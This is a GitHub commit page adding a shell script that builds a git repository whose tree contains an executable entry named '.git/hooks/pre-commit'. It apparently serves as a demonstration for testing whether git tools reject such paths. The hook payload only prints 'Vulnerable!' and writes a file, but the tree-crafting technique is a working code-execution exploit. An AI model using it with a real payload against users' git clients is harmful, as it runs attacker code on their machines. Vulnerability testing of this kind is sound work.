Skip to content

Commit 7daca49

Browse files
committed
Start on demo script making repo with .git/… filename
The repo the script makes contains a filename with slash characters in it that, if not rejected, will install a pre-commit hook.
1 parent 7041e73 commit 7daca49

File tree

1 file changed

+27
-0
lines changed

1 file changed

+27
-0
lines changed
Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
#!/bin/sh
2+
set -eu
3+
4+
readonly filename='.git/hooks/pre-commit'
5+
readonly filemode=100755
6+
7+
emit_payload() {
8+
cat <<'EOF'
9+
#!/bin/sh
10+
printf 'Vulnerable!\n'
11+
date >vulnerable
12+
EOF
13+
}
14+
15+
repo="$1"
16+
git init -- "$repo"
17+
cd -- "$repo"
18+
branch="$(git symbolic-ref --short HEAD)"
19+
20+
blob_hash="$(emit_payload | git hash-object -w --stdin)"
21+
escaped_blob_hash="$(printf '%s' "$blob_hash" | sed 's/../\\x&/g')"
22+
tree_hash="$(
23+
printf '%s %s\0'"$escaped_blob_hash" "$filemode" "$filename" |
24+
git hash-object -t tree -w --stdin
25+
)"
26+
commit_hash="$(git commit-tree -m 'Initial commit' "$tree_hash")"
27+
git branch -f -- "$branch" "$commit_hash"

0 commit comments

Comments
 (0)